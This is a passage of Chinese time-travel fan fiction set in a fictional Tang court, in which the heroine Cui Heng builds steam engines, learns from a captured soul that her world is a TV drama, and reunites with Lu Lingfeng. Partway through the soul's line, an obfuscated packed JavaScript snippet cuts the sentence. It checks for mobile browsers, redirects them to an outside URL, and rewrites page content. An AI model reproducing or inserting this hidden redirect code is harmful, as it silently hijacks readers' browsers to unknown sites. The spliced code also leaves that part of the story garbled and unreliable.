“你这女子,还是这般没轻没重。快把烛蛇胆给我,就等这味药成丹了。” 崔蘅“哦”了一声:“对对对,差点把正事忘了。” 她取出装着蛇胆的药瓶递给三师姐,后者将瓶口的塞子拔掉,轻轻嗅了嗅:“味甘苦,有异香……确实同书中记载一样。” 崔蘅勾了勾唇角:“我办事你还不放心,何时让你失望过。” 三师姐没反驳她这句话,崔蘅却只顾双眼放光地盯着那台蒸汽机上下打量:“师姐,造这东西出来应该花费不少本钱吧,只让它扇扇子,有些浪费了。” 她说完又忽然记起来,急忙递过去一个口袋:“对了,给你这个,科研经费不能省。” 对方接过袋子打开一看,里面是金灿灿的几块金饼,到现在三师姐还是不习惯崔蘅动不动就掏出钱来,虽然她每次都说是什么科研经费……可是他们做这些机械也并没有花太多钱——锻铁的铺子、工匠,都是崔蘅出资经营的,也有盈利。而且她八年前就开始做那个杂交育种的项目,如今他们种的粮食产量比市场上现有的粮食产量多太多,很多人都前来购种。他们也会卖粮食、布匹,以及那些新奇的琉璃制品和紫砂陶瓷……根本不需要她再出钱。 三师姐摇摇头,将那袋金子推回去:“最近手头不紧。” 崔蘅疑惑地挠挠头:“不紧?” ——三师姐不太会经营,以前经常出现连手下工匠的工资都发不下来的情况。不过三师姐为人十分实在,直肠子,也不会拐弯抹角,她说不紧那应当就是不紧吧。 崔蘅只好收起金子,三师姐拉住她的手腕:“这台机器不只让它扇扇子,还做别的,你跟我去后山看看。” 崔蘅本以为蒸汽机已经是这趟回来给她的最大惊喜了,没想到到了后山,还有更大的惊喜,喜欢研究种地的六师兄带人在农田周遭弄了一个简易滑轨,滑轨上正在跑一架小型的蒸汽机,它一边跑一边往地里面撒种子,一个佣工坐在蒸汽机上面盯着,不要让种子撒到太歪的地方,然后时不时往机器里添点柴就行了。当然,也还是有人在播种的,都是作为辅助,干活的主力还是这台机器。 崔蘅看着田地里的景象瞠目结舌,好半天才道:“我勒个机械化农业生产……你们都发展到这一步了?!” ——虽然还是初期的简易阶段,但是它们所用的播种机,改个形状,那不就是蒸汽火车的雏形吗?!这就是社会生产力进步的奇妙之处,只要生产力提高了,根本不需要她再做什么事去推动,各个领域的劳动人民就能自发去改造这些东西。 不过造火车成本毕竟还是太高了,得做轨道,造火车搞运输一定是长距离运输才有造的必要,但是若不掌权,别说跨省铺轨道,跨个县都得被抓起来,不太现实。 ……还是先起义吧,把姓李的拉下来再说,她脑子里已经在想了,第一条铁路线她要从长安铺到洛阳。但是在那之前一定要夺权,否则崔蘅很怕这些不够开明的统治者察觉到他们的动静,会说他们在搞歪门邪道,她这些师姐师兄师弟师妹们可都要遭殃。 三师姐撇撇嘴:“是小六看到我让蒸汽机帮忙扇扇子,非要给他做一台,他这台还要能动的,要做精致飞轮,费了我们好大力气。” 崔蘅一把握住三师姐的手,用力握紧:“别怕困难,缺钱张嘴……你们,你们可都是我的宝贝啊,我这废物,只能给点钱了。” 三师姐笑着伸手刮了刮崔蘅的鼻子:“若不是你给的点子,我们也不会弄出这些东西。” “啊,给你造的船也快完工了,还没下水,带你去看看。” “我的汽船!!!!造出来了?!!!!” 崔蘅尖叫一声就往湖边跑——交通工具这方面,造轨道的难度比造火车的难度高多了,耗费成本也高,但是造船就不一样了,船一下水,到处都是轨道,蒸汽船出来之后,只要有水路可走,她能去更多地方。 这艘船还只完成一半,崔蘅蹲在发动机旁边欢乐地往锅炉里添柴,看着飞轮在水里原地转,她都开心得不得了。真是服了这些唐人了啊,这么内敛,都干成这样了,给她回信时却一点风声不露,若他们说了,她早就回来看。 崔蘅玩了半天,站起身叹了口气,她抬头看向天空:“师姐,闲着时记得带他们多种点树。” 三师姐看了崔蘅一眼,点头:“知道,毕竟我们的柴消耗得也挺快的。” 崔蘅想说不是这个原因,只是工业一定会不可避免地带来污染和资源消耗,她想尽力弥补……但是让她在这个原始落后的农耕时代讲环保,她实在做不到,世界的真相就是如此,生物与生物之间,根本不是能够和谐相处的关系,人类与其他生物之间,就是残酷的竞争关系。在现代人类之所以能讨论保护动物,甚至保护老虎熊这等攻击力强的生物,是因为那个时代人类已经踩在了所有生物的身上,人类拥有绝对碾压其他生物的力量之后,才配谈保护——这是一种居高临下的怜悯和施舍。 不过那又怎么样呢,现实如此,若不为刀俎,便只能为鱼肉,这个时代人类不一样在野兽毒蛇的食物列表里嘛。 崔蘅跟着三师姐在这里转了一圈之后,师父便派人来找她了,据说她已经把裴喜君身体里那个魂魄抽出来了,很玄幻的是,那个魂魄被抽出来之后,竟然还能跟他们对话,蒲纯从未遇见过这种情况,便让人来找崔蘅。 崔蘅是他们里面最为见多识广的一个,其实在很多时候,都是她在主持大局。 “连师父都没见过这种情况,我自然也没见过……不过,让我单独跟他聊聊吧,既然是一缕能被抽出来的孤魂,如今又被我们困住,应该没什么可怕的。” 崔蘅有种预感,觉得这个魂魄会说出很惊世骇俗的东西,还是别让他们听到比较好。 待所有人都退出去之后,崔蘅才开口:“说吧,你到底是什么人。你也领教过我师父的厉害了,不过我们还是善良的,目前不想伤害你,但是若你不配合,我师父也有很多办法让你魂飞魄散。” 那魂魄原本就不是什么胆大的人,被蒲纯塞进罐子里时,早就吓破了胆,更不需要崔蘅威胁他,就把自己的事全说出来了。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535988|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是穿越的!我来自现代社会……我、我只是喜欢卢凌风,想走个女主线而已,谁知道竟然遇到你们这些人,原著里也没说有你们这种人啊!” 崔蘅听到前面还没太大反应,毕竟她也是穿越的,但是听到“原著”两字,忍不住眉毛一跳:“什么原著。” 那魂魄道:“我说了你不能再为难我……这里其实是个电视剧世界,啊,用你们的话讲,这是个画本子的世界。” 崔蘅听到电视剧这里已经绷不住了,靠,搞了半天她不是来的正史啊!还以为自己要改变中国历史进程了呢!怪不得他们连蒸汽机都搞出来了,原来她是打了个副本?! 崔蘅抽了抽嘴角:“这电视剧里……主角是谁?” ——不会吧不会吧,不会是她想的那个吧! “卢凌风……” ——他妈的还真是他啊!!这什么破电视剧主角被贬官到犄角旮旯了啊!这是大结局了吗?!这难道是个悲剧主题的电视剧?! “他是男主角?那女主角……” “就是,就是裴喜君啊。” 崔蘅忽然眼前有点发黑,一屁股坐在椅子上。她捂着额头缓了好一会儿,才睁开眼睛——没什么好怕的,区区男女主,管它呢,她可是搞出了蒸汽机的女人! 崔蘅深吸一口气:“也就是说,这电视剧的主题,是他俩谈恋爱?” 那魂魄道:“那倒不是,这是个探案类的电视剧,额……就是,刑侦,破案,查案子……你听得懂吗?卢凌风和苏无名从长安一路南下破案的电视剧,谈恋爱的部分占比很小。” 崔蘅抽抽嘴角:“苏无名也是主角?” “是啊……他人设上是狄仁杰的徒弟,狄仁杰在野史里就是个擅长破案的官员,从狄仁杰野史里延伸写出来的电视剧,当然要找个跟他相关的人当主角。” 崔蘅都气笑了——感情她穿得不仅不是正史,连野史都不算,只是个虚构架空,以历史为原型编造出来的朝代。怪不得这里的统治者都这么神经病,她就说嘛,像他们这样的统治者,怎么可能维持权力的稳定,一点小屁事都弄得大风大雨,这个国家早就被折腾散了。 这样一来,就连最后一点顾忌都没有了,她的所作所为,不会影响中国的历史,那她就认真干吧。 至于卢凌风…… 崔蘅忍不住皱起眉头,她难道该顺应剧情吗? “笃笃笃。” 崔蘅正想着,忽然听到有人敲门,崔蘅走过去打开门,见一个只到她腿高的小娃娃正睁着滴溜溜的大眼睛站在门外。一见到她,仰头将手中的一封信递给她:“十一师姐,有你的信哦。” 崔蘅看着小娃娃,忍不住笑得眯起眼睛,她蹲下身抱住他,在小娃娃脸上狠狠啵一口:“你是小十七?” 小十七被啵得脸蛋红红,一边擦脸上的口水一边不满道:“我是十七呀……师姐,你不能这样亲我,你是女子,我是男子,这样不好。” “噗!” 崔蘅忍不住捏他的脸蛋:“你才多大呀!还男子,你就是个孩子!” 小十七奋力从她怀里挣扎出来:“我五岁了!师姐你注意点!我走了!” 崔蘅看着他倒腾小短腿跑远的背影,笑着去拆手中的信。信是卢凌风寄过来的,她这才想起来,上一封信中跟他说,准备回师门一趟,若有信可以寄到师门,她应该能收到。 大约因为好久没写过信,卢凌风在信中写了不少的话,这段时间南州发生很多事情,还发生了命案…… 崔蘅看到这里忍不住笑了一下,果然是探案剧,命案必不可少。 他东拉西扯了很多,才在信的最后说——石桥山很美,何时回来? 崔蘅闭上眼睛,将信轻轻按在怀里,她懂卢凌风想说什么。 陌上花开,可缓缓归矣。 他是想她了。 崔蘅忽然就有些想开了。管他是谁呢,男主角也好,男炮灰也罢,她在这里生活了二十五年,她过得每一天,每一分每一秒,都是真实的,他们从十几岁就认识,所有的相识和经历,都是真实的。 电视剧是假的,但他们是真的。 一如她此刻想见他的心情,也是真的。 29.是弟弟哇 崔蘅把那所谓的电视剧剧情,全部从那魂魄口中问出来了,然后崔蘅发现一个现象,除了每个案件的凶手以及关键线索之外,关于这部电视剧的所有细节那魂魄都可以说出口。 崔蘅其实对各个案件的真凶是谁没什么兴趣知道,她得到的最劲爆的一个消息是,卢凌风可能是太平公主的私生子。他被范阳卢氏的人收养,似乎是想跟太平公主玩“养大你儿子然后杀了你”杀人诛心的那一套,所以卢凌风现在还以为太平公主是他的杀亲仇人,他甚至为了隐瞒身份,把自己的岁数报小了两岁。 崔蘅颇受打击地扑坐在椅子上:“我接受不了……我接受不了……” 那魂魄听到她的喃喃自语,试探着问:“你跟太平公主有仇?还是……讨厌她啊?唉,也不是不能理解,那毕竟是卢凌风的亲妈,虽然目前他认为公主是他的仇人,毕竟血脉相连,终究还是要相认的。” 崔蘅抬头望着那装着魂魄的罐罐,喃喃道:“他果然是个弟弟……” 怪不得小时候就觉得他长得比自己小很多,之前还问过他来着,这人一本正经地否定此事,丝毫不心虚。她就说嘛!就算未成年的男孩子发育比女孩子慢,卢凌风也不该比她小那么多!原来根本比她小! 罐罐沉默了一下:“原来你是接受不了这个……唉呀,对你们古代人来说,是比较难接受的,但是现代还是很流行姐弟恋的,更何况你人长得漂亮,差两岁而已,有什么接受不了的。” 崔蘅捂住耳朵猛摇头:“我不听我不听我不听——!” 崔蘅忽然停下来,盯着罐罐:“喜君是不是才十几岁来着。” 罐罐犹豫了许久,默默道:“不至于十几岁,但似乎是比卢凌风小几岁……” “……” 崔蘅要裂开了,自从知道这破世界是个电视剧,她就忍不住揣摩这破电视剧的设定,他妈的姐弟恋和兄妹恋差很大的好不好。 罐罐见崔蘅生无可恋地软坐在地上,十分可怜,便开口安慰:“哎,你现在应该纠结的难道不是他是太平公主的私生子吗?这个问题怎么都比年龄这种小事更重要吧。” 崔蘅没说话,心里却想,反正她本来就打算搞他们姓李的,卢凌风效忠于太子,天然就站在自己的对立面,再加个私生子的身份,也没差啊,哈哈哈,虱子多了不怕咬。 崔蘅默默崩溃了一会儿,忽然从地上爬起来,然后一把抓过桌上的罐罐,狠狠塞进一个锦囊里。罐罐大声尖叫:“别晃!头晕!” “我现在要去找卢凌风,你给我老实点,有外人在场的时候绝对不要开口,否则老娘就把你砸了!听到没有!” 过了好久,罐罐委委屈屈地哼唧一声:“知道了。” 崔蘅犹豫许久,还是去找了裴喜君,喊他一起回南州。裴喜君毕竟是她带出来的,没道理把她留在这里,而且她崔蘅除了在政治斗争以外都是个光明磊落的人,也不做出知道了她的身份之后还故意把她跟卢凌风分开的事。 算了,无所谓了,结果如何她都接受得了。 “崔姐姐,现在就要走了吗?这么急?” 崔蘅看她一眼,吞了吞唾沫:“也……不是很着急,喜君你有事走不了吗?” “没有啊,只是觉得这里蛮好玩的,多待些时候也可以。不过若崔姐姐要走,我也跟你一起。” 自从崔蘅帮裴喜君把她身上的魂魄捉下来之后,她就十分信赖崔蘅,很喜欢黏着她。崔蘅看着裴喜君乖巧可爱如同小兔子一样的表情,忍不住伸手摸了摸她的脑袋。 崔蘅简直要泪流满面了,这孩子……跟自己完全不是一个类型的啊,卢凌风喜欢的莫非是这种? 崔蘅纠结得想死,在回南州路上,经常因为太纠结要半夜坐起来抽自己两巴掌冷静一下。她可从来没为这种私人感情的事纠结这么长时间,与其想男人,还不如多看两本账册,她还有大事要做。 便怀着这样既想快点回到南州,又怕太快见到卢凌风的心情,他们还是到达了目的地。卢凌风现在住司马府,在南州做了个代理参军的职务,想见他,得去那里。 但是崔蘅拖家带口的,连带着裴喜君的小奴他们一行有五个人,所以崔蘅便令武奇在司马府旁边租了个房子暂时住下来。 “……喜君,等下我要去司马府,你要不要同我一起?” 裴喜君疑惑了一下,随即道:“那我也去吧,毕竟到了南州,该去拜见一下苏司马的。” 崔蘅忧愁地看她一眼,点头。 “崔姐姐,你怎么了?是不是不舒服?” 喜君下意识朝崔蘅伸出手去,想摸她的额头:“你脸色好差。” 崔蘅勉强笑了笑,道:“没……没什么的,走吧,我们去司马府。” 卢凌风比苏无名还晚知道崔蘅回南州来了,他一路急走赶到庭院中,看到坐在一旁的崔蘅,下意识朝她走过来。崔蘅也几乎条件反射地起身,朝他走过去两步。不过两人倒是还记得这里有旁人,走近了又生生克制住脚步,卢凌风不自在地咳了一声:“回来了。” 崔蘅默默移开视线,只点了点头:“我……我在司马府旁边租了个房子,现在住在那边。” 她不敢同卢凌风的视线对上,怕思念太明显,被旁人看见。 卢凌风脸上还是强作一本正经的表情道:“也好,住近一点安全。” 苏无名见他们说起话来别别扭扭,很懂眼色地清咳两声:“卢参军,崔小姐今日刚到南州,还新租了宅院,你今日无事的话,便去帮帮忙吧。” 崔蘅犹豫一下,刚想说不用,卢凌风已经道:“走吧,去你租的宅子看一眼,若有什么问题也能早点发现,耽误不了多少时间。” 崔蘅下意识往裴喜君的方向看了一眼,见她好像没什么反应,崔蘅才点点头:“好。” 卢凌风跟着崔蘅到她租的房子里,真就认认真真帮她把房子里里外外都检查了一遍,不知道是不是因为他职业病犯了,尤其将水井、后院等能藏人的地方仔细查了一遍。 崔蘅见他如此,忍不住道:“应该不会有人藏在这里,检查这么仔细做什么。” 卢凌风头都不抬地用刀柄在灌木丛里戳:“南州最近不太平,要好好查一下。而且就算没藏人,万一有毒蛇野猫,撞上了岂不会伤人。” 崔蘅听他考虑得这么周全,便没再说什么。只不过,不知什么时候现场只剩下了他们两个人,崔蘅走上去拉住卢凌风的袖子,小声道:“树都要被你戳烂了……你不如去我房间也检查检查。” 卢凌风闻言回头看她,反手握住了崔蘅的手腕,挑眉道:“正有此意。” 崔蘅把卢凌风推进房间里,背抵着门用力关上,腰上忽然一紧,被卢凌风搂着腰扯进怀里,崔蘅立刻回手紧紧抱住他,直到此时才将忍了一路的思念倾泻。卢凌风按着她的后脑压在自己肩头,手劲大得厉害,像要把她摁死在怀里。 “路上可顺利?” 崔蘅抱着他,轻轻道:“嗯。” 卢凌风松了手里的力气,看着她道: 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崔蘅清清嗓子:“你生辰不是冬天吗,比我小,就叫一声听听呗。” 崔蘅知道卢凌风为了隐瞒身世,肯定也假作了生辰,但是他对外声称的生辰确实是冬日。 卢凌风冷笑一声:“你是不是找死。” “我……!” 崔蘅话没说完,被卢凌风搂着腰一把按在床上,他就这样居高临下地盯着她:“再拿这种事打趣,对你不客气。” 崔蘅艰难地吞吞唾沫——好气哦,明明知道他虚报了两岁,还不能挑明,卢凌风心里明明该清楚才对,他怎么一点都不心虚??? 崔蘅脸上不服气的表情太明显了,卢凌风抓着她的手按在头顶,从她衣服底下摸进去。崔蘅吓得急忙求饶:“你……干嘛!大白天的!我不说了还不行……” “你心里不服,我看出来了。” “服服服……唔……” 崔蘅咬住嘴唇努力不发出声音,尝试想推开他,但是不知道怎么闹着闹着又亲到一起去了。崔蘅在他唇上咬下去,心里有些难过。她心情太复杂了,来之前做了好多种假设,但是见到卢凌风的那一刻,所有的假设都变得不管用了,她可太不舍得了。 卢凌风听她呼吸声变得有些奇怪,抬起头去看她的脸,见她眼角似有泪痕,伸手轻轻去抹:“怎么了?” 崔蘅忽然抱紧他的脖子,把表情藏起来,用力摇摇头。 卢凌风道:“为何难过?” “没有啊……” 崔蘅没想到卢凌风竟然同她开玩笑:“又要摸摸腹肌?” “噗!” 她笑着抬手揉眼睛:“卢将军给摸吗?” 卢凌风便拉着她的手按在自己身上:“也不是不行……” 有便宜能占的时候崔蘅才不会手软,扯开他的衣襟立刻把手探进去,连着里衣也扒拉开,就这样按着他的胸腹来回磨蹭起来。 卢凌风盯着她,有些无语道:“你还真是不客气啊?” 崔蘅干脆翻个身,把他按在下面,将卢凌风衣襟前的几颗扣子全扯开了。她整个人都趴他腹肌上面,化身成一片大抹布搓来搓去。许久,崔蘅很爽地喟叹一声:“果然管用,一下子就不难过了。卢将军竟然有此等特异功能,真是叫人心动……能脱光吗。” 卢凌风冷漠地把自己衣襟拉上:“适可而止,我有底线的。” 30.做再多也抵不过剧情的力量 “听说你在南州做了个代理的司法参军,这是正常的任命吗?” 崔蘅同卢凌风诉说过思念之情之后,终于想起问他正事了。卢凌风闻言摇摇头:“南州没有司法参军,陈案积压,我只是暂代其职。州刺史也是知道的。” 崔蘅想了想:“干白工,没俸禄啊。” 卢凌风一脸不以为意的样子,崔蘅忍不住笑了笑:“那你缺钱花吗?要不要我支援?” 卢凌风瞥她一眼:“不缺,更何况,我怎能花你的钱。” 崔蘅凑过去,轻轻趴在他肩膀上:“你怎么不能花我的钱,我们两个之间还要分彼此。” 她声音温温柔柔的,语气却十分暧昧,卢凌风有些脸红:“我不缺。” 崔蘅叹口气,抬手去搂他的肩膀:“好吧,那你今天要不要留在这里……” 卢凌风急忙推着她不让她靠近:“那么多人看到我进了你的院子,怎能留在这里。更何况最近南州案件频发,我等一下就要回去继续研判案情了。” 崔蘅好奇道:“案件频发?死人了?是谋杀案吗?” 不愧是探案剧,她还是第一次在现实中这么近距离接触这种悬疑案件呢。 卢凌风摇摇头:“倒不全是谋杀,只是一个谋杀案件牵扯出很多其他的案件,十分复杂。谋杀案也还没查出凶手……” 崔蘅点点头:“我还以为是连环凶杀案。” “这怎么可能。” 卢凌风说完,忽然顿了一下:“不过,仔细想想……死掉的确实不止一个人。” “哦?!” 崔蘅一骨碌从床上爬起来:“说说看。” “这次死的是南州很有威望的南州四子之一,古琴圣手陆公复,已经验尸证明,是被人杀死的。还有我们刚到南州时,南州四子中的颜元夫也去世了,据说是疾病而去。但是现在想想……南州四子短时间内竟然已经死掉两个,这难道是巧合?” 崔蘅摸着下巴思索:“按照我以往的经验来看,短时间内在小范围发生连续命案,是连环杀人案的可能性会很大。更何况,死者还有这么明确的共同点。” ——刑侦剧里都是这么演的,更何况他们这本来就是刑侦类电视剧,就更不可能是凑巧了。 卢凌风好似并没有把她的话放在心上,开玩笑似的问道:“哦?那按照你的经验看来,连环杀人案如何下手去查呢?” 崔蘅挑挑眉:“第一,看犯案手法,若短时间内发生的案件被害人被害的方式统一,说明这种手法要么是凶手的习惯,要么方便凶手行凶,可以从犯案手法下手缩小调查范围。第二,看被害人遇害方式,若死者的死状有什么共同点,说不定是凶手在杀人时遵循某种仪式,这种凶手变态居多,但是可以作为突破案件的切入口。第三,找被害人的共同点,若被害者在某些方面有高度一致的共同点,就可以推测出凶手的意图,或者他在杀的是什么类型的人。比如受害者可能经历过同一件事,那有可能是复仇;受害者甚至可能穿过同样款式的衣服,那凶手可能有什么心理疾病,是应激之下做出杀人的举动。你现在提到的两个死者就有明显的共同点,都是南州四子,他们又总是形影不离……那就有可能是在做什么集体活动时窥见了别人的秘密,招来杀身之祸。” 卢凌风听她分条缕析,也逐渐收起玩笑的心,他想了想,立刻站起身:“我去找苏无名。” “哎!” 崔蘅见他要走,急忙叫住他:“要不你带我一起查案吧,我也好奇了。” 卢凌风想也不想便拒绝道:“胡闹,这怎么可以。” “我想知道真相嘛。” 以前倒是玩过密室逃脱或者剧本啥这种东西,但那都不是真的,她现在可是在探案电视剧里,那不得感受一下。崔蘅默默想着,她承认自己有找刺激的成份,但是真能对他们破案有帮助的话,不也是好事。 崔蘅笑嘻嘻地拉住卢凌风的胳膊:“我可以扮成你的随从,跟你一起去案发现场,绝对不会让人家说三道四。我以前跟着兄长也见识过很多案件,说不定能帮上忙。” 卢凌风却十分坚持,坚决不肯,崔蘅再想求,他却直接推开她跑了。崔蘅看着卢凌风跑远的背影,想了半天,忽然笑了一声——这家伙不带她玩,没门,今天就去拜访州刺史。 卢凌风前脚走了,崔蘅后脚就去了刺史府。崔蘅这些年跟着崔璋四处为官,最会扯虎皮拉大旗那一套,崔璋如今的身份也十分好使,她假装跋扈的贵女,狐假虎威,大家基本都会给她面子。在甘棠县时,崔蘅就拿着崔璋给的亲笔信去找过县令王乃龄,要求他调配人手,上山捉蛇,他当时也答应了。后来崔蘅把她带的种子交给他,让他找人试种,想必那县令为了自己政绩,也会照做。崔蘅出门总会带一马车东西,因为里面有很多作物种子,到了一个地方就会拿出来分给当地。崔蘅深知授人以鱼不如授人以渔的道理,这些种子都是选育出来的高产作物,自然种的人越多越好,此次回师门她又带出来一些。 不过不知道这个南州刺史胆子大不大,有些官员并不吃这一套,崔蘅也不能把人家怎么样。 后来试探了一下,发现这个南州刺史的胆子真是太小了,在崔蘅表明自己身份之后,熊刺史便急忙请崔蘅上座,问道:“不知崔小姐此次来南州有什么要事?” 崔蘅轻笑一声,将手中茶杯放下:“熊刺史可听说过,阎王簿?” 熊刺史脸色微微僵了僵:“这……这,略有耳闻,听说是崔右丞手中有一本记录百官罪证的册子,不过那都是传闻,传闻……不可信。” 崔蘅笑道:“哪是什么传闻,这是真的,我兄长手中确实有一本。不过兄长一直待在长安,哪能知道官员们的事情,他有公务在身无法离开长安,便授意手下的人,帮忙留意一些无关紧要的小事情……” 她说到这里顿了一下,这才继续说道:“我此次南下,一路游历,也会将沿路所见告知兄长。” 熊刺史脸色肉眼可见地紧张起来,崔蘅慢慢喝了口茶,才恍然大悟似的开口道:“熊刺史放心,我来南州所见,倒是觉得这里治理得不错,想必都是刺史的功劳。” 熊刺史重重舒出一口气,崔蘅此时却话锋一转:“不过我听说你们这里有个什么南州四子,最近短时间内却死了两人了,很是离奇,不知这个案件……” 熊刺史急忙道:“谈不上什么案件,四子中的颜元夫向来有风疾,乃是急病去世,而陆公复……杀他的凶手正在追查,新上任的司马苏无名,是狄公弟子,相信不日便会有结果。崔小姐,不必太过担心啊。” 崔蘅转了转眼睛,笑道:“熊刺史,今天喝了你的茶,也不好意思白喝。这样,我手下有两个护卫,武功高强,不如熊刺史跟捕贼官说一声,让我的护卫去帮帮忙。” 熊刺史听出崔蘅是想以这种方式参与案子,也觉得人手多些是好事,便答应下来:“这……也好,不过现在州里的司法参军乃是代理,为人又桀骜不驯,只怕会怠慢小姐。” 桀骜不驯……这个词评价卢凌风,倒是挺合适的。崔蘅道:“无碍,我没那么娇气。” 所以第二天卢凌风不仅在队伍中见到了武奇飞洛两人,还在熊刺史旁边看见了崔蘅。他惊讶地看着崔蘅,熊刺史此时却向卢凌风介绍道:“苏司马,卢参军,这位是崔蘅崔小姐,乃是尚书右丞崔璋之胞妹。近日崔小姐在刺史府做客,特为二位引荐。” 苏无名见到崔蘅先是愣了一下,听到他的说辞,忍不住笑了一下。崔蘅权当不认识他俩,起身行礼道:“拜见苏司马,卢参军。” 苏无名回礼道:“崔小姐,有礼了。” 相比之下,卢凌风便没那么淡定,上前一步似乎想说什么,却见崔蘅偷偷朝他眨了眨眼睛,他才压下心头疑惑,也装作同她不认识。 几人刚从刺史府出来,卢凌风就忍不住了,压低声音道:“你这是闹得哪出?” 崔蘅挑挑眉:“你不愿意让我当你的侍从一起调查案件,那我只好另寻他法了。” 苏无名在一旁笑着道:“崔小姐一个女子,倒是对官场之事十分擅长,苏某实在佩服。” 崔蘅轻笑道:“苏司马这是在嘲讽我?”她现在有能力直接找他们的顶头上司以权压人,自然不用求他们,苏无名对此感到不爽了。 “岂敢岂敢……” “没关系,我不在乎。”崔蘅笑得有些恶意:“没机会手握大权的人是这样自诩清高的,就喜欢你这副看不惯我又干不掉我的样子。” 她向来知道自己跟苏无名不是同类人,现在知道他是“主角”,便明白他们哪里不同了,主角一定是伟光正的,跟她这种妖女自然不同路。 苏无名无奈地摇摇头,崔蘅道:“听说你们的案子 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崔蘅当晚便抱着画去找裴喜君,她对于画作只略懂皮毛,但是裴喜君懂啊,这画中即便没有宝藏,能找到矿产也好。崔蘅在外游历时,也会将旅途中遇见的矿山矿产在地图上标定出来,她现在仍然记得少年包青天里面的一个案子——山上山,白山抱千翠,水中水,黑水拥万红。这个案子最终解密的所谓“宝藏”就是桐油,若卢凌风他们这个案子真有“宝藏”,是石油呢!那她可要发达了,可以让三师姐开拓更多领域的开发。 倒不是崔蘅思维跳跃,而是因为她对主角团有着绝对信任,他们自己本身就是探案类电视剧,万一真有宝藏呢! “喜君,怎么样,看出什么了吗?” 裴喜君犹豫着摇摇头:“这看起来就是一幅普通的人物风景画,而且是写实类的画作,看不出隐藏着宝藏。” 崔蘅郁闷地托着下巴:“真的吗……我厚着脸皮要过来的,居然不是藏宝图。” 裴喜君见她失望,对此也有些抱歉:“崔姐姐,或许只是我水平有限,没看出其他……你别气馁。” 崔蘅摆摆手:“这只是我自己天方夜谭的想法罢了,没有任何证据证明这幅画里隐藏了宝藏。” 裴喜君笑道:“不过,张萱不愧是名满大唐的画师,这幅画形神皆妙,有幸一观,实在荣幸。” 崔蘅挑挑眉:“能让你这爱画之人看一眼这幅画,也算我没白把它要过来。对了喜君,三日后这里一个乡绅设宴为自己同时中举的两个儿子庆祝,熊刺史也邀请了我,要不你也一起去吧。” 裴喜君抿着唇笑:“我也可以去?主人家会不会不高兴?” “你这个吏部侍郎之女出席刚中举的年轻人的庆功宴,主人家只有高兴的份,哪会不高兴。” ——想入官场,有机会结交吏部侍郎,这简直是天上掉馅饼的事。 崔蘅邀请喜君参加宴会时,只是觉得她整日待在家里太无聊,想带她出去散散心,怎么都没想到事情会朝这个方向发展。不知道该感慨剧情的强大,还是该说,或许很多事情冥冥之中自有安排,万事终究会回归正轨。 宴会上再次发生了命案,那乡绅的老仆竟然杀死了他的两个儿子,然后自杀在众人面前,裴喜君则认出那两名被杀之人,是石桥图上出现过的面孔。 其实在命案发生时,崔蘅就意识到这应当是进入剧情了,只是没想到喜君竟然会因这为苏无名他们正在调查的案子提供线索。不对,她早就该想到的,喜君擅丹青,这个案子的关键线索是一幅画……这简直就是量身订做的女主角剧情。 “小姐,你没事吧?” 飞洛从后面扶了崔蘅一下,崔蘅这才回过神来,她回头看向飞洛,后者正担忧地盯着她:“你脸色怎么这么差?身体不适?” 崔蘅没说话,却看向正因画作上的人到底是不是谢家两位公子而同卢凌风争执打赌的裴喜君,她静静盯着他们看了一会,忽然勾起唇角:“今天见了死人,受到惊吓……我们回去吧。” “那叫上裴小姐?” 崔蘅摇摇头:“武奇你留下等裴小姐,飞洛先陪我回去。” 崔蘅心里一直担心的事,今天总算发生了。她没有自己想象得那么豁达,其实一直害怕那所谓的剧情,可是对于并列设定出来的一对,天造地设的cp,她实在无话可说。 还是就这样逃走吧。 31.你不是说要跟我去石桥山吗 “哎,你是在伤心嘛。” 许久没开口的罐罐在仅有崔蘅时开口说话了,说的却是崔蘅不愿意听的话。崔蘅不想理他,罐罐却还是一个劲逼逼:“你那天干嘛跑了,裴喜君跟卢凌风都见面了,你为什么跑啊,就算跑也拉着裴喜君一起啊。” 崔蘅一边咬着笔杆算算数,一边回道:“我对查案没兴趣,就回来算账,有什么为什么。喜君看了一眼那画就看出命案的线索,我看见画只会想它里面是不是有藏宝图……唉,这就是刑侦案女主跟普通人的差距啊。” 罐罐声音有些得意:“你现在也承认人家是女主角了。” “我什么时候没承认过了?只是没承认你这个死断袖是女主角而已。” 罐罐立刻暴跳如雷:“我才不是同性恋,我只是想走女主线!” 崔蘅忍不住翻白眼——那有什么区别?不懂他为什么这么死不承认。 罐罐生过气之后,又忍不住问崔蘅:“那你打算什么时候去找卢凌风啊,你们都好几天没见面了。” 崔蘅咬着笔杆想了想,他们好像确实很多天没见面了,不过卢凌风忙着查案子,不见面也很正常吧。裴喜君倒是回来过,不过后来她受苏无名邀请住到司马府去了,好像是答应了他们帮忙侦破案件。 “我们都忙,有什么好见的。” 罐罐沉默了一会儿,声音忽然变得湿漉漉的,整个魂圆润地在罐子里滚成一团:“唉呀,不要这样嘛,搞得人家也好难过。她为了爱他选择让步,他却还被蒙在鼓里……这种阴差阳错的桥段虽然好好磕,可是人家会难过嘛……” 崔蘅听他的声音越来越绵软,到最后潮乎乎的,好像要融化了似的,忍不住抽了抽嘴角:“你到底什么成份,在胡说八道些什么啊。” “什么什么成份,我只是个平平无奇的同人男罢了……你去找他嘛,求求你啦,你们不要这么虐,人家会受不了的嘛。” 崔蘅忍不住翻白眼了:“你给我闭嘴,头一次见变成魂了还这么恋爱脑的小玩意儿。” 他到底在虐什么,就算是虐,也只是她单方面的而已,卢凌风根本毫无所觉,他不来见自己,那就是没想起要见她,何必跑去他面前扰乱他现在的生活。其实崔蘅这几天冷静地想过了,大概……早点结束比较好。听说原著中裴喜君可以为了卢凌风连她的父亲都舍弃,崔蘅是无法想象这种情节的,哦,如果是这个世界里那个被她宰了的父亲,要舍弃也没什么,可是如果是自己在乎的人,崔蘅万万做不出这种事。 